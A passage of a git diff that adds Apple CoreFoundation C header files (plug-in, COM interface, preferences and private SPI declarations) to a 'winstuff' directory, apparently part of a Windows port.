AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; // CFString +CF_EXPORT const CFStringRef kCFNumberFormatterNegativePrefix AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; // CFString +CF_EXPORT const CFStringRef kCFNumberFormatterNegativeSuffix AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; // CFString +CF_EXPORT const CFStringRef kCFNumberFormatterPerMillSymbol AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; // CFString +CF_EXPORT const CFStringRef kCFNumberFormatterInternationalCurrencySymbol AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; // CFString +CF_EXPORT const CFStringRef kCFNumberFormatterCurrencyGroupingSeparator AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; // CFString +CF_EXPORT const CFStringRef kCFNumberFormatterIsLenient AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; // CFBoolean +CF_EXPORT const CFStringRef kCFNumberFormatterUseSignificantDigits AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; // CFBoolean +CF_EXPORT const CFStringRef kCFNumberFormatterMinSignificantDigits AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; // CFNumber +CF_EXPORT const CFStringRef kCFNumberFormatterMaxSignificantDigits AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; // CFNumber + +enum { + kCFNumberFormatterRoundCeiling = 0, + kCFNumberFormatterRoundFloor = 1, + kCFNumberFormatterRoundDown = 2, + kCFNumberFormatterRoundUp = 3, + kCFNumberFormatterRoundHalfEven = 4, + kCFNumberFormatterRoundHalfDown = 5, + kCFNumberFormatterRoundHalfUp = 6 +}; +typedef CFIndex CFNumberFormatterRoundingMode; + +enum { + kCFNumberFormatterPadBeforePrefix = 0, + kCFNumberFormatterPadAfterPrefix = 1, + kCFNumberFormatterPadBeforeSuffix = 2, + kCFNumberFormatterPadAfterSuffix = 3 +}; +typedef CFIndex CFNumberFormatterPadPosition; + + +CF_EXPORT +Boolean CFNumberFormatterGetDecimalInfoForCurrencyCode(CFStringRef currencyCode, int32_t *defaultFractionDigits, double *roundingIncrement) AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; + // Returns the number of fraction digits that should be displayed, and + // the rounding increment (or 0.0 if no rounding is done by the currency) + // for the given currency. Returns false if the currency code is unknown + // or the information is not available. + // Not localized because these are properties of the currency. + +CF_EXTERN_C_END + +#endif + +#endif /* ! __COREFOUNDATION_CFNUMBERFORMATTER__ */ + diff --git a/winstuff/CoreFoundation/CFPlugIn.h b/winstuff/CoreFoundation/CFPlugIn.h new file mode 100644 index 0000000..24b7230 --- /dev/null +++ b/winstuff/CoreFoundation/CFPlugIn.h @@ -0,0 +1,136 @@ +/* CFPlugIn.h + Copyright (c) 1999-2008, Apple Inc. All rights reserved. +*/ + +#if !defined(__COREFOUNDATION_CFPLUGIN__) +#define __COREFOUNDATION_CFPLUGIN__ 1 + +#if !defined(COREFOUNDATION_CFPLUGINCOM_SEPARATE) +#define COREFOUNDATION_CFPLUGINCOM_SEPARATE 1 +#endif + +#include +#include +#include +#include +#include +#include + +CF_EXTERN_C_BEGIN + +/* ================ Standard Info.plist keys for plugIns ================ */ + +CF_EXPORT +const CFStringRef kCFPlugInDynamicRegistrationKey; +CF_EXPORT +const CFStringRef kCFPlugInDynamicRegisterFunctionKey; +CF_EXPORT +const CFStringRef kCFPlugInUnloadFunctionKey; +CF_EXPORT +const CFStringRef kCFPlugInFactoriesKey; +CF_EXPORT +const CFStringRef kCFPlugInTypesKey; + +/* ================= Function prototypes for various callbacks ================= */ +/* Function types that plugIn authors can implement for various purposes. */ + +typedef void (*CFPlugInDynamicRegisterFunction)(CFPlugInRef plugIn); +typedef void (*CFPlugInUnloadFunction)(CFPlugInRef plugIn); +typedef void *(*CFPlugInFactoryFunction)(CFAllocatorRef allocator, CFUUIDRef typeUUID); + +/* ================= Creating PlugIns ================= */ + +CF_EXPORT +CFTypeID CFPlugInGetTypeID(void); + +CF_EXPORT +CFPlugInRef CFPlugInCreate(CFAllocatorRef allocator, CFURLRef plugInURL); + /* Might return an existing instance with the ref-count bumped. */ + +CF_EXPORT +CFBundleRef CFPlugInGetBundle(CFPlugInRef plugIn); + +/* ================= Controlling load on demand ================= */ +/* For plugIns. */ +/* PlugIns that do static registration are load on demand by default. */ +/* PlugIns that do dynamic registration are not load on demand by default. */ +/* A dynamic registration function can call CFPlugInSetLoadOnDemand(). */ + +CF_EXPORT +void CFPlugInSetLoadOnDemand(CFPlugInRef plugIn, Boolean flag); + +CF_EXPORT +Boolean CFPlugInIsLoadOnDemand(CFPlugInRef plugIn); + +/* ================= Finding factories and creating instances ================= */ +/* For plugIn hosts. */ +/* Functions for finding factories to create specific types and actually creating instances of a type. */ + +CF_EXPORT +CFArrayRef CFPlugInFindFactoriesForPlugInType(CFUUIDRef typeUUID); + /* This function finds all the factories from any plugin for the given type. Returns an array that the caller must release. */ + +CF_EXPORT +CFArrayRef CFPlugInFindFactoriesForPlugInTypeInPlugIn(CFUUIDRef typeUUID, CFPlugInRef plugIn); + /* This function restricts the result to factories from the given plug-in that can create the given type. Returns an array that the caller must release. */ + +CF_EXPORT +void *CFPlugInInstanceCreate(CFAllocatorRef allocator, CFUUIDRef factoryUUID, CFUUIDRef typeUUID); + /* This function returns the IUnknown interface for the new instance. */ + +/* ================= Registering factories and types ================= */ +/* For plugIn writers who must dynamically register things. */ +/* Functions to register factory functions and to associate factories with types. */ + +CF_EXPORT +Boolean CFPlugInRegisterFactoryFunction(CFUUIDRef factoryUUID, CFPlugInFactoryFunction func); + +CF_EXPORT +Boolean CFPlugInRegisterFactoryFunctionByName(CFUUIDRef factoryUUID, CFPlugInRef plugIn, CFStringRef functionName); + +CF_EXPORT +Boolean CFPlugInUnregisterFactory(CFUUIDRef factoryUUID); + +CF_EXPORT +Boolean CFPlugInRegisterPlugInType(CFUUIDRef factoryUUID, CFUUIDRef typeUUID); + +CF_EXPORT +Boolean CFPlugInUnregisterPlugInType(CFUUIDRef factoryUUID, CFUUIDRef typeUUID); + +/* ================= Registering instances ================= */ +/* When a new instance of a type is created, the instance is responsible for registering itself with the factory that created it and unregistering when it deallocates. */ +/* This means that an instance must keep track of the CFUUIDRef of the factory that created it so it can unregister when it goes away. */ + +CF_EXPORT +void CFPlugInAddInstanceForFactory(CFUUIDRef factoryID); + +CF_EXPORT +void CFPlugInRemoveInstanceForFactory(CFUUIDRef factoryID); + + +/* Obsolete API */ + +typedef struct __CFPlugInInstance *CFPlugInInstanceRef; + +typedef Boolean (*CFPlugInInstanceGetInterfaceFunction)(CFPlugInInstanceRef instance, CFStringRef interfaceName, void **ftbl); +typedef void (*CFPlugInInstanceDeallocateInstanceDataFunction)(void *instanceData); + +CF_EXPORT +Boolean CFPlugInInstanceGetInterfaceFunctionTable(CFPlugInInstanceRef instance, CFStringRef interfaceName, void **ftbl); +CF_EXPORT +CFStringRef CFPlugInInstanceGetFactoryName(CFPlugInInstanceRef instance); +CF_EXPORT +void *CFPlugInInstanceGetInstanceData(CFPlugInInstanceRef instance); +CF_EXPORT +CFTypeID CFPlugInInstanceGetTypeID(void); +CF_EXPORT +CFPlugInInstanceRef CFPlugInInstanceCreateWithInstanceDataSize(CFAllocatorRef allocator, CFIndex instanceDataSize, CFPlugInInstanceDeallocateInstanceDataFunction deallocateInstanceFunction, CFStringRef factoryName, CFPlugInInstanceGetInterfaceFunction getInterfaceFunction); + +CF_EXTERN_C_END + +#if !COREFOUNDATION_CFPLUGINCOM_SEPARATE +#include +#endif /* !COREFOUNDATION_CFPLUGINCOM_SEPARATE */ + +#endif /* ! __COREFOUNDATION_CFPLUGIN__ */ + diff --git a/winstuff/CoreFoundation/CFPlugInCOM.h b/winstuff/CoreFoundation/CFPlugInCOM.h new file mode 100644 index 0000000..5fce685 --- /dev/null +++ b/winstuff/CoreFoundation/CFPlugInCOM.h @@ -0,0 +1,95 @@ +/* CFPlugInCOM.h + Copyright (c) 1999-2008, Apple Inc. All rights reserved. +*/ + +#if !defined(__COREFOUNDATION_CFPLUGINCOM__) +#define __COREFOUNDATION_CFPLUGINCOM__ 1 + +#include + +CF_EXTERN_C_BEGIN + +/* ================= IUnknown definition (C struct) ================= */ + +/* All interface structs must have an IUnknownStruct at the beginning. */ +/* The _reserved field is part of the Microsoft COM binary standard on Macintosh. */ +/* You can declare new C struct interfaces by defining a new struct that includes "IUNKNOWN_C_GUTS;" before the first field of the struct. */ + +typedef SInt32 HRESULT; +typedef UInt32 ULONG; +typedef void *LPVOID; +typedef CFUUIDBytes REFIID; + +#define SUCCEEDED(Status) ((HRESULT)(Status) >= 0) +#define FAILED(Status) ((HRESULT)(Status)<0) + +/* Macros for more detailed HRESULT analysis */ +#define IS_ERROR(Status) ((unsigned long)(Status) >> 31 == SEVERITY_ERROR) +#define HRESULT_CODE(hr) ((hr) & 0xFFFF) +#define HRESULT_FACILITY(hr) (((hr) >> 16) & 0x1fff) +#define HRESULT_SEVERITY(hr) (((hr) >> 31) & 0x1) +#define SEVERITY_SUCCESS 0 +#define SEVERITY_ERROR 1 + +/* Creating an HRESULT from its component pieces */ +#define MAKE_HRESULT(sev,fac,code) ((HRESULT) (((unsigned long)(sev)<<31) | ((unsigned long)(fac)<<16) | ((unsigned long)(code))) ) + +/* Pre-defined success HRESULTS */ +#define S_OK ((HRESULT)0x00000000L) +#define S_FALSE ((HRESULT)0x00000001L) + +/* Common error HRESULTS */ +#define E_UNEXPECTED ((HRESULT)0x8000FFFFL) +#define E_NOTIMPL ((HRESULT)0x80000001L) +#define E_OUTOFMEMORY ((HRESULT)0x80000002L) +#define E_INVALIDARG ((HRESULT)0x80000003L) +#define E_NOINTERFACE ((HRESULT)0x80000004L) +#define E_POINTER ((HRESULT)0x80000005L) +#define E_HANDLE ((HRESULT)0x80000006L) +#define E_ABORT ((HRESULT)0x80000007L) +#define E_FAIL ((HRESULT)0x80000008L) +#define E_ACCESSDENIED ((HRESULT)0x80000009L) + +/* This macro should be used when defining all interface functions (as it is for the IUnknown functions below). */ +#define STDMETHODCALLTYPE + +/* The __RPC_FAR macro is for COM source compatibility only. This macro is used a lot in COM interface definitions. If your CFPlugIn interfaces need to be COM interfaces as well, you can use this macro to get better source compatibility. It is not used in the IUnknown definition below, because when doing COM, you will be using the Microsoft supplied IUnknown interface anyway. */ +#define __RPC_FAR + +/* The IUnknown interface */ +#define IUnknownUUID CFUUIDGetConstantUUIDWithBytes(kCFAllocatorSystemDefault, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46) + +#define IUNKNOWN_C_GUTS \ + void *_reserved; \ + HRESULT (STDMETHODCALLTYPE *QueryInterface)(void *thisPointer, REFIID iid, LPVOID *ppv); \ + ULONG (STDMETHODCALLTYPE *AddRef)(void *thisPointer); \ + ULONG (STDMETHODCALLTYPE *Release)(void *thisPointer) + +typedef struct IUnknownVTbl { + IUNKNOWN_C_GUTS; +} IUnknownVTbl; + +CF_EXTERN_C_END + + +/* C++ specific stuff */ +#if defined(__cplusplus) +/* ================= IUnknown definition (C++ class) ================= */ + +/* This is a definition of IUnknown as a pure abstract virtual C++ class. This class will work only with compilers that can produce COM-compatible object layouts for C++ classes. egcs can not do this. MetroWerks can do this (if you subclass from __comobject) */ + +class IUnknown +#if defined(__MWERKS__) && TARGET_OS_WIN32 + : __comobject +#endif +{ + public: + virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID iid, LPVOID *ppv) = 0; + virtual ULONG STDMETHODCALLTYPE AddRef(void) = 0; + virtual ULONG STDMETHODCALLTYPE Release(void) = 0; +}; + +#endif /* __cplusplus */ + +#endif /* ! __COREFOUNDATION_CFPLUGINCOM__ */ + diff --git a/winstuff/CoreFoundation/CFPlugIn_Factory.h b/winstuff/CoreFoundation/CFPlugIn_Factory.h new file mode 100644 index 0000000..4a17ca6 --- /dev/null +++ b/winstuff/CoreFoundation/CFPlugIn_Factory.h @@ -0,0 +1,77 @@ +/* + * Copyright (c) 2008 Apple Inc. All rights reserved. + * + * @APPLE_LICENSE_HEADER_START@ + * + * This file contains Original Code and/or Modifications of Original Code + * as defined in and that are subject to the Apple Public Source License + * Version 2.0 (the 'License'). You may not use this file except in + * compliance with the License. Please obtain a copy of the License at + * http://www.opensource.apple.com/apsl/ and read it before using this + * file. + * + * The Original Code and all software distributed under the License are + * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER + * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, + * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. + * Please see the License for the specific language governing rights and + * limitations under the License. + * + * @APPLE_LICENSE_HEADER_END@ + */ +/* CFPlugIn_Factory.h + Copyright (c) 1999-2007, Apple Inc. All rights reserved. +*/ + +#if !defined(__COREFOUNDATION_CFPLUGIN_FACTORY__) +#define __COREFOUNDATION_CFPLUGIN_FACTORY__ 1 + +#include "CFBundle_Internal.h" + +CF_EXTERN_C_BEGIN + +typedef struct __CFPFactory { + CFAllocatorRef _allocator; + + CFUUIDRef _uuid; + Boolean _enabled; + char _padding[3]; + SInt32 _instanceCount; + + CFPlugInFactoryFunction _func; + + CFPlugInRef _plugIn; + CFStringRef _funcName; + + CFMutableArrayRef _types; +} _CFPFactory; + +extern _CFPFactory *_CFPFactoryCreate(CFAllocatorRef allocator, CFUUIDRef factoryID, CFPlugInFactoryFunction func); +extern _CFPFactory *_CFPFactoryCreateByName(CFAllocatorRef allocator, CFUUIDRef factoryID, CFPlugInRef plugIn, CFStringRef funcName); + +extern _CFPFactory *_CFPFactoryFind(CFUUIDRef factoryID, Boolean enabled); + +extern CFUUIDRef _CFPFactoryGetFactoryID(_CFPFactory *factory); +extern CFPlugInRef _CFPFactoryGetPlugIn(_CFPFactory *factory); + +extern void *_CFPFactoryCreateInstance(CFAllocatorRef allocator, _CFPFactory *factory, CFUUIDRef typeID); +extern void _CFPFactoryDisable(_CFPFactory *factory); +extern Boolean _CFPFactoryIsEnabled(_CFPFactory *factory); + +extern void _CFPFactoryFlushFunctionCache(_CFPFactory *factory); + +extern void _CFPFactoryAddType(_CFPFactory *factory, CFUUIDRef typeID); +extern void _CFPFactoryRemoveType(_CFPFactory *factory, CFUUIDRef typeID); + +extern Boolean _CFPFactorySupportsType(_CFPFactory *factory, CFUUIDRef typeID); +extern CFArrayRef _CFPFactoryFindForType(CFUUIDRef typeID); + +/* These methods are called by CFPlugInInstance when an instance is created or destroyed. If a factory's instance count goes to 0 and the factory has been disabled, the factory is destroyed. */ +extern void _CFPFactoryAddInstance(_CFPFactory *factory); +extern void _CFPFactoryRemoveInstance(_CFPFactory *factory); + +CF_EXTERN_C_END + +#endif /* ! __COREFOUNDATION_CFPLUGIN_FACTORY__ */ + diff --git a/winstuff/CoreFoundation/CFPreferences.h b/winstuff/CoreFoundation/CFPreferences.h new file mode 100644 index 0000000..75deeaf --- /dev/null +++ b/winstuff/CoreFoundation/CFPreferences.h @@ -0,0 +1,133 @@ +/* CFPreferences.h + Copyright (c) 1998-2007, Apple Inc. All rights reserved. +*/ + +#if !defined(__COREFOUNDATION_CFPREFERENCES__) +#define __COREFOUNDATION_CFPREFERENCES__ 1 + +#include +#include +#include + +CF_EXTERN_C_BEGIN + +CF_EXPORT +const CFStringRef kCFPreferencesAnyApplication; +CF_EXPORT +const CFStringRef kCFPreferencesCurrentApplication; +CF_EXPORT +const CFStringRef kCFPreferencesAnyHost; +CF_EXPORT +const CFStringRef kCFPreferencesCurrentHost; +CF_EXPORT +const CFStringRef kCFPreferencesAnyUser; +CF_EXPORT +const CFStringRef kCFPreferencesCurrentUser; + +/* NOTE: All CFPropertyListRef values returned from + CFPreferences API should be assumed to be immutable. +*/ + +/* The "App" functions search the various sources of defaults that + apply to the given application, and should never be called with + kCFPreferencesAnyApplication - only kCFPreferencesCurrentApplication + or an application's ID (its bundle identifier). +*/ + +/* Searches the various sources of application defaults to find the +value for the given key. key must not be NULL. If a value is found, +it returns it; otherwise returns NULL. Caller must release the +returned value */ +CF_EXPORT +CFPropertyListRef CFPreferencesCopyAppValue(CFStringRef key, CFStringRef applicationID); + +/* Convenience to interpret a preferences value as a boolean directly. +Returns false if the key doesn't exist, or has an improper format; under +those conditions, keyExistsAndHasValidFormat (if non-NULL) is set to false */ +CF_EXPORT +Boolean CFPreferencesGetAppBooleanValue(CFStringRef key, CFStringRef applicationID, Boolean *keyExistsAndHasValidFormat); + +/* Convenience to interpret a preferences value as an integer directly. +Returns 0 if the key doesn't exist, or has an improper format; under +those conditions, keyExistsAndHasValidFormat (if non-NULL) is set to false */ +CF_EXPORT +CFIndex CFPreferencesGetAppIntegerValue(CFStringRef key, CFStringRef applicationID, Boolean *keyExistsAndHasValidFormat); + +/* Sets the given value for the given key in the "normal" place for +application preferences. key must not be NULL. If value is NULL, +key is removed instead. */ +CF_EXPORT +void CFPreferencesSetAppValue(CFStringRef key, CFPropertyListRef value, CFStringRef applicationID); + +/* Adds the preferences for the given suite to the app preferences for + the specified application. To write to the suite domain, use + CFPreferencesSetValue(), below, using the suiteName in place + of the appName */ +CF_EXPORT +void CFPreferencesAddSuitePreferencesToApp(CFStringRef applicationID, CFStringRef suiteID); + +CF_EXPORT +void CFPreferencesRemoveSuitePreferencesFromApp(CFStringRef applicationID, CFStringRef suiteID); + +/* Writes all changes in all sources of application defaults. +Returns success or failure. */ +CF_EXPORT +Boolean CFPreferencesAppSynchronize(CFStringRef applicationID); + +/* The primitive get mechanism; all arguments must be non-NULL +(use the constants above for common values). Only the exact +location specified by app-user-host is searched. The returned +CFType must be released by the caller when it is finished with it. */ +CF_EXPORT +CFPropertyListRef CFPreferencesCopyValue(CFStringRef key, CFStringRef applicationID, CFStringRef userName, CFStringRef hostName); + +/* Convenience to fetch multiple keys at once. Keys in +keysToFetch that are not present in the returned dictionary +are not present in the domain. If keysToFetch is NULL, all +keys are fetched. */ +CF_EXPORT +CFDictionaryRef CFPreferencesCopyMultiple(CFArrayRef keysToFetch, CFStringRef applicationID, CFStringRef userName, CFStringRef hostName); + +/* The primitive set function; all arguments except value must be +non-NULL. If value is NULL, the given key is removed */ +CF_EXPORT +void CFPreferencesSetValue(CFStringRef key, CFPropertyListRef value, CFStringRef applicationID, CFStringRef userName, CFStringRef hostName); + +/* Convenience to set multiple values at once. Behavior is undefined +if a key is in both keysToSet and keysToRemove */ +CF_EXPORT +void CFPreferencesSetMultiple(CFDictionaryRef keysToSet, CFArrayRef keysToRemove, CFStringRef applicationID, CFStringRef userName, CFStringRef hostName); + +CF_EXPORT +Boolean CFPreferencesSynchronize(CFStringRef applicationID, CFStringRef userName, CFStringRef hostName); + +/* Constructs and returns the list of the name of all applications +which have preferences in the scope of the given user and host. +The returned value must be released by the caller; neither argument +may be NULL. */ +CF_EXPORT +CFArrayRef CFPreferencesCopyApplicationList(CFStringRef userName, CFStringRef hostName); + +/* Constructs and returns the list of all keys set in the given +location. The returned value must be released by the caller; +all arguments must be non-NULL */ +CF_EXPORT +CFArrayRef CFPreferencesCopyKeyList(CFStringRef applicationID, CFStringRef userName, CFStringRef hostName); + +#ifndef CF_OPEN_SOURCE +#if MAC_OS_X_VERSION_10_2 <= MAC_OS_X_VERSION_MAX_ALLOWED + +/* Function to determine whether or not a given key has been imposed on the +user - In cases where machines and/or users are under some kind of management, +callers should use this function to determine whether or not to disable UI elements +corresponding to those preference keys. */ +CF_EXPORT +Boolean CFPreferencesAppValueIsForced(CFStringRef key, CFStringRef applicationID); + +#endif +#endif + +CF_EXTERN_C_END + +#endif /* ! __COREFOUNDATION_CFPREFERENCES__ */ + diff --git a/winstuff/CoreFoundation/CFPriv.h b/winstuff/CoreFoundation/CFPriv.h new file mode 100644 index 0000000..ae662c9 --- /dev/null +++ b/winstuff/CoreFoundation/CFPriv.h @@ -0,0 +1,425 @@ +/* + * Copyright (c) 2008 Apple Inc. All rights reserved. + * + * @APPLE_LICENSE_HEADER_START@ + * + * This file contains Original Code and/or Modifications of Original Code + * as defined in and that are subject to the Apple Public Source License + * Version 2.0 (the 'License'). You may not use this file except in + * compliance with the License. Please obtain a copy of the License at + * http://www.opensource.apple.com/apsl/ and read it before using this + * file. + * + * The Original Code and all software distributed under the License are + * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER + * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, + * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. + * Please see the License for the specific language governing rights and + * limitations under the License. + * + * @APPLE_LICENSE_HEADER_END@ + */ +/* CFPriv.h + Copyright (c) 1998-2007, Apple Inc. All rights reserved. +*/ + +/* + APPLE SPI: NOT TO BE USED OUTSIDE APPLE! +*/ + +#if !defined(__COREFOUNDATION_CFPRIV__) +#define __COREFOUNDATION_CFPRIV__ 1 + +#include +#include +#include +#include +#include +#include + + +#if defined(__MACH__) +#include +#endif + +#if defined(__MACH__) || defined(__WIN32__) +#include +#include +#endif + +#if defined(__MACH__) +#include +#endif + +#if 0 +#include +#endif + +CF_EXTERN_C_BEGIN + +CF_EXPORT intptr_t _CFDoOperation(intptr_t code, intptr_t subcode1, intptr_t subcode2); + +CF_EXPORT void _CFRuntimeSetCFMPresent(void *a); + +CF_EXPORT const char *_CFProcessPath(void); +CF_EXPORT const char **_CFGetProcessPath(void); +CF_EXPORT const char **_CFGetProgname(void); + + +#if defined(__MACH__) +CF_EXPORT CFRunLoopRef CFRunLoopGetMain(void); +CF_EXPORT SInt32 CFRunLoopRunSpecific(CFRunLoopRef rl, CFStringRef modeName, CFTimeInterval seconds, Boolean returnAfterSourceHandled); + +CF_EXPORT void _CFRunLoopSetCurrent(CFRunLoopRef rl); + +CF_EXPORT Boolean _CFRunLoopModeContainsMode(CFRunLoopRef rl, CFStringRef modeName, CFStringRef candidateContainedName); +CF_EXPORT void _CFRunLoopAddModeToMode(CFRunLoopRef rl, CFStringRef modeName, CFStringRef toModeName); +CF_EXPORT void _CFRunLoopRemoveModeFromMode(CFRunLoopRef rl, CFStringRef modeName, CFStringRef fromModeName); +CF_EXPORT void _CFRunLoopStopMode(CFRunLoopRef rl, CFStringRef modeName); + +#if defined(__MACH__) +CF_EXPORT CFIndex CFMachPortGetQueuedMessageCount(CFMachPortRef mp); +#endif + +CF_EXPORT CFPropertyListRef _CFURLCopyPropertyListRepresentation(CFURLRef url); +CF_EXPORT CFURLRef _CFURLCreateFromPropertyListRepresentation(CFAllocatorRef alloc, CFPropertyListRef pListRepresentation); +#endif +CF_EXPORT CFPropertyListRef _CFURLCopyPropertyListRepresentation(CFURLRef url); +CF_EXPORT CFURLRef _CFURLCreateFromPropertyListRepresentation(CFAllocatorRef alloc, CFPropertyListRef pListRepresentation); + +CF_EXPORT void CFPreferencesFlushCaches(void); + +#if !__LP64__ +#if !defined(__WIN32__) +struct FSSpec; +CF_EXPORT +Boolean _CFGetFSSpecFromURL(CFAllocatorRef alloc, CFURLRef url, struct FSSpec *spec); + +CF_EXPORT +CFURLRef _CFCreateURLFromFSSpec(CFAllocatorRef alloc, const struct FSSpec *voidspec, Boolean isDirectory); +#endif +#endif + +#if MAC_OS_X_VERSION_10_2 <= MAC_OS_X_VERSION_MAX_ALLOWED +enum { + kCFURLComponentDecompositionNonHierarchical, + kCFURLComponentDecompositionRFC1808, /* use this for RFC 1738 decompositions as well */ + kCFURLComponentDecompositionRFC2396 +}; +typedef CFIndex CFURLComponentDecomposition; + +typedef struct { + CFStringRef scheme; + CFStringRef schemeSpecific; +} CFURLComponentsNonHierarchical; + +typedef struct { + CFStringRef scheme; + CFStringRef user; + CFStringRef password; + CFStringRef host; + CFIndex port; /* kCFNotFound means ignore/omit */ + CFArrayRef pathComponents; + CFStringRef parameterString; + CFStringRef query; + CFStringRef fragment; + CFURLRef baseURL; +} CFURLComponentsRFC1808; + +typedef struct { + CFStringRef scheme; + + /* if the registered name form of the net location is used, userinfo is NULL, port is kCFNotFound, and host is the entire registered name. */ + CFStringRef userinfo; + CFStringRef host; + CFIndex port; + + CFArrayRef pathComponents; + CFStringRef query; + CFStringRef fragment; + CFURLRef baseURL; +} CFURLComponentsRFC2396; + +/* Fills components and returns TRUE if the URL can be decomposed according to decompositionType; FALSE (leaving components unchanged) otherwise. components should be a pointer to the CFURLComponents struct defined above that matches decompositionStyle */ +CF_EXPORT +Boolean _CFURLCopyComponents(CFURLRef url, CFURLComponentDecomposition decompositionType, void *components); + +/* Creates and returns the URL described by components; components should point to the CFURLComponents struct defined above that matches decompositionType. */ +CF_EXPORT +CFURLRef _CFURLCreateFromComponents(CFAllocatorRef alloc, CFURLComponentDecomposition decompositionType, const void *components); +#define CFURLCopyComponents _CFURLCopyComponents +#define CFURLCreateFromComponents _CFURLCreateFromComponents +#endif + + +CF_EXPORT Boolean _CFStringGetFileSystemRepresentation(CFStringRef string, UInt8 *buffer, CFIndex maxBufLen); + +/* If this is publicized, we might need to create a GetBytesPtr type function as well. */ +CF_EXPORT CFStringRef _CFStringCreateWithBytesNoCopy(CFAllocatorRef alloc, const UInt8 *bytes, CFIndex numBytes, CFStringEncoding encoding, Boolean externalFormat, CFAllocatorRef contentsDeallocator); + +/* These return NULL on MacOS 8 */ +CF_EXPORT +CFStringRef CFGetUserName(void); + +CF_EXPORT +CFURLRef CFCopyHomeDirectoryURLForUser(CFStringRef uName); /* Pass NULL for the current user's home directory */ + + +/* Extra user notification key for iPhone */ +CF_EXPORT +const CFStringRef kCFUserNotificationKeyboardTypesKey AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; + + +/* + CFCopySearchPathForDirectoriesInDomains returns the various + standard system directories where apps, resources, etc get + installed. Because queries can return multiple directories, + you get back a CFArray (which you should free when done) of + CFStrings. The directories are returned in search path order; + that is, the first place to look is returned first. This API + may return directories that do not exist yet. If NSUserDomain + is included in a query, then the results will contain "~" to + refer to the user's directory. Specify expandTilde to expand + this to the current user's home. Some calls might return no + directories! + ??? On MacOS 8 this function currently returns an empty array. +*/ +enum { + kCFApplicationDirectory = 1, /* supported applications (Applications) */ + kCFDemoApplicationDirectory, /* unsupported applications, demonstration versions (Demos) */ + kCFDeveloperApplicationDirectory, /* developer applications (Developer/Applications) */ + kCFAdminApplicationDirectory, /* system and network administration applications (Administration) */ + kCFLibraryDirectory, /* various user-visible documentation, support, and configuration files, resources (Library) */ + kCFDeveloperDirectory, /* developer resources (Developer) */ + kCFUserDirectory, /* user home directories (Users) */ + kCFDocumentationDirectory, /* documentation (Documentation) */ + kCFDocumentDirectory, /* documents (Library/Documents) */ + kCFAllApplicationsDirectory = 100, /* all directories where applications can occur (ie Applications, Demos, Administration, Developer/Applications) */ + kCFAllLibrariesDirectory = 101 /* all directories where resources can occur (Library, Developer) */ +}; +typedef CFIndex CFSearchPathDirectory; + +enum { + kCFUserDomainMask = 1, /* user's home directory --- place to install user's personal items (~) */ + kCFLocalDomainMask = 2, /* local to the current machine --- place to install items available to everyone on this machine (/Local) */ + kCFNetworkDomainMask = 4, /* publically available location in the local area network --- place to install items available on the network (/Network) */ + kCFSystemDomainMask = 8, /* provided by Apple, unmodifiable (/System) */ + kCFAllDomainsMask = 0x0ffff /* all domains: all of the above and more, future items */ +}; +typedef CFOptionFlags CFSearchPathDomainMask; + +CF_EXPORT +CFArrayRef CFCopySearchPathForDirectoriesInDomains(CFSearchPathDirectory directory, CFSearchPathDomainMask domainMask, Boolean expandTilde); + +/* Obsolete keys */ +CF_EXPORT const CFStringRef kCFFileURLExists; +CF_EXPORT const CFStringRef kCFFileURLPOSIXMode; +CF_EXPORT const CFStringRef kCFFileURLSize; +CF_EXPORT const CFStringRef kCFFileURLDirectoryContents; +CF_EXPORT const CFStringRef kCFFileURLLastModificationTime; +CF_EXPORT const CFStringRef kCFHTTPURLStatusCode; +CF_EXPORT const CFStringRef kCFHTTPURLStatusLine; + + +/* System Version file access */ +CF_EXPORT CFStringRef CFCopySystemVersionString(void); // Human-readable string containing both marketing and build version, should be API'd +CF_EXPORT CFDictionaryRef _CFCopySystemVersionDictionary(void); +CF_EXPORT CFDictionaryRef _CFCopyServerVersionDictionary(void); +CF_EXPORT const CFStringRef _kCFSystemVersionProductNameKey; +CF_EXPORT const CFStringRef _kCFSystemVersionProductCopyrightKey; +CF_EXPORT const CFStringRef _kCFSystemVersionProductVersionKey; +CF_EXPORT const CFStringRef _kCFSystemVersionProductVersionExtraKey; +CF_EXPORT const CFStringRef _kCFSystemVersionProductUserVisibleVersionKey; // For loginwindow; see 2987512 +CF_EXPORT const CFStringRef _kCFSystemVersionBuildVersionKey; +CF_EXPORT const CFStringRef _kCFSystemVersionProductVersionStringKey; // Localized string for the string "Version" +CF_EXPORT const CFStringRef _kCFSystemVersionBuildStringKey; // Localized string for the string "Build" + + +CF_EXPORT void CFMergeSortArray(void *list, CFIndex count, CFIndex elementSize, CFComparatorFunction comparator, void *context); +CF_EXPORT void CFQSortArray(void *list, CFIndex count, CFIndex elementSize, CFComparatorFunction comparator, void *context); + +/* _CFExecutableLinkedOnOrAfter(releaseVersionName) will return YES if the current executable seems to be linked on or after the specified release. Example: If you specify CFSystemVersionPuma (10.1), you will get back true for executables linked on Puma or Jaguar(10.2), but false for those linked on Cheetah (10.0) or any of its software updates (10.0.x). You will also get back false for any app whose version info could not be figured out. + This function caches its results, so no need 